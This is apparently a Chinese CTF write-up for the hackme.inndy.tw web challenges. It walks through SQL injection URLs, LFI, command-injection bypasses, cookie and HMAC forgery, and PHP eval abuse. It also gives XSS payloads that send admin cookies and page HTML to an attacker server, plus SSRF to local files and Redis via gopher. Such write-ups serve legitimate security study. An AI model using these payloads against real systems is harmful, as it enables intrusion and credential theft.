Can you see me? I’m so close to you but you can’t see me.
这题查看源码即可。
This guestbook sucks. sqlmap is your friend.
既然提示有 sqlmap
,或许可以一把梭。
先手注一波试试,发现没有任何过滤。
有四个字段,看一下显位 。
https://hackme.inndy.tw/gb/?mod=read&id=0%20union%20select%201,2,3,4
都有明显回显,直接上吧,盲注太慢。
拿到列名
https://hackme.inndy.tw/gb/?mod=read&id=0%20union%20select%201,2,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()
查询所有数据
https://hackme.inndy.tw/gb/?mod=read&id=0%20union%20select%201,2,3,group_concat(flag)%20from%20flag
What this admin’s password? That is not important at all, just get the flag. Tips: LFI, php://filter
用到 PHP 伪协议:php://filter
php: <?php require ('config.php' );if ($_POST['user' ] === 'admin' && md5($_POST['pass' ]) === 'bed128365216c019988915ed3add75fb' ) { echo $flag; } else { ?> <form action="?page=pages/login" method="post" role="form" > <div class="form-group"> <label for ="user-i" >User</label> <input type="text" class="form-control" id="user-i" placeholder="Username" name="user"> </div> <div class="form-group"> <label for ="pass-i" >Password</label> <input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass"> </div> <button type="submit" class="btn btn-primary">Login</button> </form> <?php } ?> $flag = "FLAG{Yoooooo_xsXSYP......}" ;
Where is the flag? Did you check the code?
提示查看源代码,发现了一个特别的 cute.js
。
嚝从㚁����= /嚚�嚚榅湛�㚁�� ~�𤫇���𤫇 / ['_' ]; o=(嚝�蔑嚝�) =_=3 ; c=(嚝巵矋��) =(嚝�蔑嚝�)-(嚝�蔑嚝�); (嚝氱䈑��) =(嚝巵矋��)= (o^_^o)/ (o^_^o);(嚝氱䈑��)={嚝巵矋��: '_' ,嚝从㚁���� : ((嚝从㚁����==3 ) +'_' ) [嚝巵矋�篏 ,嚝�蔑嚝��� :(嚝从㚁����+ '_' )[o^_^o -(嚝巵矋��)] ,嚝氱䈑����:((嚝�蔑嚝�==3 ) +'_' )[嚝�蔑嚝篏 }; (嚝氱䈑��) [嚝巵矋�篏 =((嚝从㚁����==3 ) +'_' ) [c^_^o];(嚝氱䈑��) ['c' ] = ((嚝氱䈑��)+'_' ) [ (嚝�蔑嚝�)+(嚝�蔑嚝�)-(嚝巵矋��) ];(嚝氱䈑��) ['o' ] = ((嚝氱䈑��)+'_' ) [嚝巵矋�篏;(嚝剠嚝�)=(嚝氱䈑��) ['c' ]+(嚝氱䈑��) ['o' ]+(嚝从㚁���� +'_' )[嚝巵矋�篏+ ((嚝从㚁����==3 ) +'_' ) [嚝�蔑嚝篏 + ((嚝氱.......
别的师傅说是 aaencode
加密,我有点懵逼,以后再弄吧,这种题不值得多花时间。
Can you ping 127.0.0.1?
看来是源码审计的题目,命令注入。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Ping</title> </head> <body> <form action="." method="GET"> IP: <input type="text" name="ip"> <input type="submit" value="Ping"> </form> <pre><?php $blacklist = [ 'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z', 'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g', 'xargs', 'PATH', '$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n" ]; set_time_limit(2); function ping($ip) { global $blacklist; if(strlen($ip) > 15) { return 'IP toooooo longgggggggggg'; } else { foreach($blacklist as $keyword) { if(strstr($ip, $keyword)) { return "{$keyword} not allowed"; } } $ret = []; exec("ping -c 1 \"{$ip}\" 2>&1", $ret); return implode("\n", array_slice($ret, 0, 10)); } } if(!empty($_GET['ip'])) echo htmlentities(ping($_GET['ip'])); else highlight_file(__FILE__); ?></pre> </body> </html>
发现 $
没有在黑名单内,还可以 ``
$ (ls) / `ls` ping: flag.php index.php: Name or service not known # cat 被过滤了,但有一堆可以查看文件内容的命令啊 tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写! more 一页一页的显示档案内容 less 与 more 类似,但是比 more 更好的是,他可以往前翻页! head 只看头几行 tail 只看尾巴几行 nl 显示的时候,顺道输出行号! # 加个 * 模糊匹配一下 $ (tac f*) ping: $flag = 'FLAG{ping_$(capture-the-flag)_U.....}'; <?php: Name or service not known
DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.
header
里发现了 x-flag
。
SQL Injection!
题目直接给了源码,开始审计。
<?php require ('config.php' );function safe_filter ($str) { $strl = strtolower($str); if (strstr($strl, 'or 1=1' ) || strstr($strl, 'drop' ) || strstr($strl, 'update' ) || strstr($strl, 'delete' ) ) { return '' ; } return str_replace("'" , "\\'" , $str); } $_POST = array_map(safe_filter, $_POST); $user = null ; if (!empty ($_POST['name' ]) && !empty ($_POST['password' ])) { $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4' , DB_HOST, DB_NAME); $db = new PDO($connection_string, DB_USER, DB_PASS); $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'" , $_POST['name' ], $_POST['password' ] ); try { $query = $db->query($sql); if ($query) { $user = $query->fetchObject(); } else { $user = false ; } } catch (Exception $e) { $user = false ; } } <?php if (!$user): ?> <?php if ($user === false ): ?> <!-- debug: <? =$sql?> --> <?php else : ?> <h4><? =sprintf("You %s admin!" , $user->is_admin ? "are" : "are not" )?> </h4> <?php if ($user->is_admin) printf("<code>%s</code>, %s" , htmlentities($flag1), $where_is_flag2); ?> <?php endif ; ?>
看到 DB_HOST
这些参数还在想有没变量覆盖的洞,或许可连接自己的数据库, safe_filter
这并不能这样玩。
提示都说了是注入,还是老老实实 sqli
吧,简单的处理了一下 POST
数组,但是并不严格。
str_replace("'", "\\'", $str); \' => \\' 即可绕过
既然加了 or 1
,正常就显示第一条,并不会只查 admin
用户,所以需要手动调下,否则看不到 flag
的噢。
name=666&password=\' union select 1,1,1,1#
直接就有了。
Grab the hidden flag
从上一题中可以看到:flag2 in the database! 另外注意到有回显位,就不需要盲注了,然后就是常规套路了。
Please login as admin. Tips: SQL Injection but sqlmap
not working anymore. Update: Source code is available now.Scanner WON’T WORK
这题同样给了源码,与上一题大同小异,过滤稍微多点吧。
$ua = strtolower($_SERVER['HTTP_USER_AGENT' ]); foreach ($bad_ua as $bad) { if (strstr($ua, $bad)) { die ("I don't like hackers. :(" ); } } function safe_filter ($str) { $strl = strtolower($str); if (strstr($strl, ' ' ) || strstr($strl, '1=1' ) || strstr($strl, "''" ) || strstr($strl, 'union select' ) || strstr($strl, 'select ' ) ) { return '' ; } return str_replace("'" , "\\'" , $str); } $_POST = array_map(safe_filter, $_POST);
空格被过滤了,方法很多,这里以/**/
代替,然后故技重施。
Get another flag Tips: boolean-based SQL injection, information_schema
开始写脚本盲注,网络太慢了,以后搞。
<?php require ('users_db.php' ); function set_user ($user_data) { global $user, $secret; $user = [$user_data['name' ], $user_data['admin' ]]; $data = json_encode($user); $sig = hash_hmac('sha512' , $data, $secret); $all = base64_encode(json_encode(['sig' => $sig, 'data' => $data])); setcookie('user' , $all, time()+3600 ); } $error = null ; function load_user () { global $secret, $error; if (empty ($_COOKIE['user' ])) { return null ; } $unserialized = json_decode(base64_decode($_COOKIE['user' ]), true ); if (hash_hmac('sha512' , $unserialized['data' ], $secret) != $unserialized['sig' ]) { $error = 'Invalid session' ; return false ; } $data = json_decode($unserialized['data' ], true ); return [ 'name' => $data[0 ], 'admin' => $data[1 ] ]; } $user = load_user(); if (!empty ($_POST['name' ]) && !empty ($_POST['password' ])) { $user = false ; foreach ($users as $u) { if ($u['name' ] === $_POST['name' ] && $u['password' ] === $_POST['password' ]) { set_user($u); } } }
先用 guest
登录玩玩,cookie
中多了一个 user
的值。
eyJzaWciOiI3NWQ1M2Y5N2FjZDIxMTA5OGEwNTJiMzA1ZDFjYWYxOTE0MzZjNmQyOWQxOTM2ZDk0N2Y4ZmRlNzczMzAwOGEzOTY4ZWRhYTRiNGE2ODI0MmRiODY5NjAzMDUwNTI3MzkxNGRlZDY4OGQ0NTllOGM5MjI1MjAwZDcyOWEwYjk4ZSIsImRhdGEiOiJbXCJndWVzdFwiLGZhbHNlXSJ9 base64_decode => {"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaa4b4a68242db8696030505273914ded688d459e8c9225200d729a0b98e","data":"[\"guest\",false]"}
hmac
验证 data
是否被篡改,可惜用的是 !=
,将自动进行类型转换,我们将 sig
的值设为 0 即可。
{"sig":0,"data":"[\"1\",1]"} // 第二个值为 true 即可 base64_encode => eyJzaWciOjAsImRhdGEiOiJbXCIxXCIsMV0ifQ== 需要注意的是,这里 data 里的值也不能完全瞎弄,hash 结果如果以数字开头,则过不了,以字母开头才能过 if
这一块有逻辑问题。
<?php if ($_POST['name' ] === 'admin' ): ?> <div class="alert alert-success"><code><?=$flag?></code></div> <?php else : ?>
<?php @error_reporting(E_ALL^E_NOTICE); require ('config.php' );$user = null ; if (!empty ($_POST['data' ])) { try { $data = json_decode($_POST['data' ], true ); } catch (Exception $e) { $data = []; } extract($data); if ($users[$username] && strcmp($users[$username], $password) == 0 ) { $user = $username; } } <?php if (!$user && isset ($_POST['data' ])): ?> <div class="alert alert-danger">Login failed</div> <?php endif ; ?> <?php else : ?> <h3>Hi, <? =htmlentities($username)?> </h3> <h4><? =sprintf("You %s admin!" , $user == 'admin' ? "are" : "are not" )?> </h4> <?php if ($user == 'admin' ) printf("<code>%s</code>" , htmlentities($flag)); ?> <?php endif ; ?>
看到 extract
基本上就是变量覆盖的洞了。
<?php require ('config.php' );if ($_POST['name' ] == 'admin' && md5($_POST['password' ]) == '00000000000000000000000000000000' ){ $user = 'admin' ; } elseif ($_POST['name' ] == 'guest' && md5($_POST['password' ]) == '084e0343a0486ff05530df6c705c8bb4' ) { $user = 'guest' ; } elseif (isset ($_POST['name' ])) { $user = false ; }
弱类型比较 + 魔法哈希
var_dump('0e0' == '0000' ); QNKCDZO 0e830400451993494058024219903391 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e73119806149116307319712 s1502113478a 0e861580163291561247404381396064 s532378020a 0e220463095855511507588041205815
给出的核心代码就这些,剩下的要靠自己慢慢找了。
<?php require ('config.php' );require ('session.php' );$session = Session::load(); $login_failed = false ; if ($_GET['debug' ] === '1' ) { $session->debug(); } if (isset ($_POST['name' ])) { $login_failed = !Session::login($_POST['name' ], $_POST['password' ]); } else if (isset ($_POST['logout' ])) { $session = new Session(); } $session->save();
cookie
里有点东西,login8cookie
O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D
login8sha512
4feb33685e47c83ce089b1707f270001a8dc0648d4a7d94d0a3e2f5b35803a7c8766285283415c8594e658468cf5e99be232b3bf98a441568a71f709243e9077
发现,sha512
的值直接是 cookie
的杂凑值,没有加密,没有加盐,同时改就 OK 了。
需要注意的是,不能 URL 解码后直接复制去 hash,这样会丢失一些不可见字符 %00
。
login as admin and grab the hidden flag
注意到上面的 cookie
中还有 debug
选项。
import hashlib, urllib.parseen = """O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A10%3A%22config.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D""" print(hashlib.sha512((urllib.parse.unquote(en)).encode()).hexdigest())
Login as guest and find flag 1
guest
登录看看,发现是一个文件管理系统,还给了源码。
Try to login as admin! and you will get flag2
先简单的审计一番,发现并没用到数据库,用户信息是用文件存储的。
<?php $GLOBALS["users" ] = array ( array ( "guest" , "084e0343a0486ff05530df6c705c8bb4" , "./data/guest" , "https://game1.security.ntu.st/data/guest" , 0 , "^.ht" , 1 , 1 ), );
没数据库就不需要考虑 sqli
了,直接想办法读文件。
敏感函数大致在这,一个一个看下。
fun_down.php
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg" ]["fileexist" ]); if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg" ]["accessfile" ]); if ($item == "." || $item == ".." ) return false ;if ($GLOBALS["show_hidden" ] == false ) { $dirs = explode("/" , $dir); foreach ($dirs as $i) if (substr($i, 0 , 1 ) == "." ) return false ; } $abs_item = get_abs_item($dir, $item); if (!file_in_web($abs_item) || stristr($abs_item, '.php' ) || stristr($abs_item, 'config' )) show_error($item . ": " . $GLOBALS["error_msg" ]["accessfile" ]);
fun_edit.php
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg" ]["fileexist" ]); if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg" ]["accessfile" ]); $fname = get_abs_item($dir, $item); if (!file_in_web($fname)) show_error($GLOBALS["error_msg" ]["accessfile" ]);
可以先尝试读取 index.php
,确定好相对路径后再读这个配置文件。
用管理员账号登录即可看到 flag。
For flag3, you need a shell to get that. see $WEBROOT/flag3!
之前看源码的时候,留意到一个 debug
的地方,而且也扫出来了 eval
。
定位到 fun_debug.php
,也可以尝试下传个 webshell
上去。
function do_debug () { assert(strlen($GLOBALS['secret_key' ]) > 40 ); $dir = $GLOBALS['__GET' ]['dir' ]; if (strcmp($dir, "magically" ) || strcmp($dir, "hacker" ) || strcmp($dir, "admin" )) { show_error('You are not hacky enough :(' ); } list ($cmd, $hmac) = explode('.' , $GLOBALS['__GET' ]['command' ], 2 ); $cmd = base64_decode($cmd); $bad_things = array ('system' , 'exec' , 'popen' , 'pcntl_exec' , 'proc_open' , 'passthru' , '`' , 'eval' , 'assert' , 'preg_replace' , 'create_function' , 'include' , 'require' , 'curl' ,); foreach ($bad_things as $bad) { if (stristr($cmd, $bad)) { die ('2bad' ); } } if (hash_equals(hash_hmac('sha256' , $cmd, $GLOBALS["secret_key" ]), $hmac)) { die (eval ($cmd)); } else { show_error('What does the fox say?' ); } }
然后就是命令注入的套路了,咱们弹个 shell
玩玩。 如何远程利用PHP绕过Filter以及WAF规则
弹了半天没弹出来,估计做了什么设置,还是老老实实读文件吧。
function make_command ($cmd) { $hmac = hash_hmac('sha256' , $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3' ); return sprintf('%s.%s' , base64_encode($cmd), $hmac); } echo make_command('$a=\'syste\';$b=\'m\';$a.=$b;$a(\'ls -al\');' );
发现 flag3
这个目录,看看里面有啥东西。
root
才能读 flag3
,有点提权的味道了。先看看 meow.c
#include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> int main (int argc, char *argv[]) { const char *exec = argv[0 ]; const char *flag = argv[1 ]; char buffer[4096 ]; if (argc < 2 ) { printf ("Usage: %s flag\n" , argv[0 ]); puts ("We have cat to read file, And the meow to cat flag." ); return 0 ; } struct stat S ; if (stat(exec, &S) != 0 ) { printf ("Can not stat file %s\n" , exec); return 1 ; } uid_t uid = S.st_uid; gid_t gid = S.st_gid; setuid(uid); seteuid(uid); setgid(gid); setegid(gid); int fd = open(flag, O_RDONLY); if (fd == -1 ) { printf ("Can not open file %s\n" , flag); return 2 ; } ssize_t readed = read(fd, buffer, sizeof (buffer) - 1 ); if (readed > 0 ) { write(1 , buffer, readed); } close(fd); }
那就用这个程序读 flag
吧。
echo make_command('$a=\'syste\';$b=\'m\';$a.=$b;$a(\'./flag3/meow ./flag3/flag3\');' );
这题挂掉了,修复了再做。
单独写 wp
XSS admin to steal flag
都强调了 xss
,那就是打管理员 cookie
了。
不过还是扫一遍目录看看,以防丢失重要信息。
一登录进来就发现是个邮箱管理界面,而且admin
已经发了封欢迎邮件过来。
接下来就是给 admin
发封邮件,插入咱们的 js
payload,把 cookie
偷过来。
这里有个很有趣的点,可以自己给自己发邮件,这样就完全不用怀疑 bot
会出故障,自己打自己成功了再去打管理员是一个更好的选择。
题目很友好,直接提示了哪些字符不能用,而且显示了管理员是否阅读了该邮件。
简单尝试了一下,以下字符被过滤:
<script ) onmouseover 空格onload 空格onerror <iframe
但还有个常用的:
<svg onload=alert(1);> <svg/onload=alert(1)> <svg/onload=prompt(1) <svg/onload="javascript:alert(1)">
构造 payload
<svg/onload="javascript:document.location='//vps_ip:9999?cookie='+document.cookie"> 或者将 "" 内的内容 HTML 实体编码下 <svg/onload="javascript:document.location.href=('//vps_ip:9999?cookie='+document.cookie)"> 如果没发现上面一些过滤是包含空格一起检测的,将失去大量合适 payload <img src=""onerror="alert(1)">
使用 xss 平台接收一下请求,或者直接用 nc 监听。
Steal flag from source code file
提示是 flag 在源码里面,那我们先读一下页面的源代码看看。
<svg/onload="javascript:document.location='//vps_ip:9999?cookie='+btoa(document.body.innerHTML)"> 发现 innerHTML 被过滤,那就 HTML 编码一下 <svg/onload="javascript:document.location='http://47.101.220.241:9999?cookie='+btoa(document.body.innerHTML)">
拿到 HTML,有点残缺,自己改下标签。
<nav class ="navbar navbar-expand-lg navbar-dark bg-dark d-flex" > <a class ="navbar-brand" href ="index.php" > XSSRF</a > <ul class ="navbar-nav" > <li class ="nav-itebSI <a class=" nav-link" href="sendmail.php">Send Mail<L2E </li> <li class="nav-itebSI <a class=" nav-link" href="mailbox.php">Mailbox<L2E </li> <li class="nav-itebSI <a class=" nav-link" href="sentmail.php">Sent Mail<L2E </li> <li class="nav-itebSI <a class=" nav-link" href="setadmin.php">Set Admin<L2E </li> <li class="nav-itebSI <a class =" nav-link" href ="request.php" > Send Request</a > </bGk </ul> <ul class="navbar-nav ml-auto"> <li class ="nav-itebSI <span class=" navbar-texdCI Hello, admin (Administrator)</span> </bGk <li class="nav-item"> <a class="nav-link" href="logout.php">Logout<L2E </li> </dWw </nav> <div class="containeciI <div class =" card text-white bg-darayI <div class=" card-body "> <h2 class ="card-titlZSI 4 </h2> <h4>From: <a href=" sendmail.php?to=jj">jj</a></aDQ <div class="card-text"><svg onload="javascript:document.location='http://vps_ip:9999?cookie='+btoa(document.body.innerHTMLKSI </sdmc </daXY </daXY </div> </daXY
发现有个 request.php
,无法直接访问,需要 admin
。
想办法让真正的 admin
去访问一下,然后把相应的结果返回给我们。
既然都可以执行 js
代码了,那直接构造一个 Ajax
请求,这里用的是原生的 Ajax
。
<svg /onload =" var x=new XMLHttpRequest(); x.onreadystatechange=function() { if (x.readyState==4 && x.status==200) { document.location='//vps_ip:9999/?code='+btoa(x.responseText); } } x.open(" GET ","request.php ",true );x.setRequestHeader ("Content-type ","application /x-www-form-urlencoded ");x.send ();">
得到 request.php
访问接口
<form action="/request.php" method="POST" > <textarea name="url" ></textarea> </form>
有用的只有这一部分,传的参数是url
,有没可能是文件包含呢?用 file://
协议试试。
<svg /onload =" var x=new XMLHttpRequest(); x.onreadystatechange=function() { if (x.readyState==4 && x.status==200) { document.location='//vps_ip:9999/?code='+btoa(x.responseText); } } x.open(" POST ","request.php ",true );x.setRequestHeader ("Content-type ","application /x-www-form-urlencoded ");x.send ("url =file:///var/www/html/config.php ");">
成功拿到 flag
,并提示我们下一个 flag
在 Redis 里。
Steal flag from redis
有了上一题的 ssrf
,打内网 redis 也是水到渠成了。
先看一下之前的 request.php
源码。
<?php require ('common.php' ); admin_required(); $msg = []; $url = '' ; $result = '' ; if (isset ($_POST['url' ])) { $url = $_POST['url' ]; $result = shell_exec('curl -m 1 --connect-timeout 1 -s ' . escapeshellarg($url)); }
构造 payload 打下 Redis
gopher://127.0.0.1:25566/_info 将之前发送的数据改下即可。 x.send("url=gopher://127.0.0.1:25566/_info");
成功打到回显,看来就是未授权打 redis 了,其他的就是老套路了,具体利用方式见 博客 。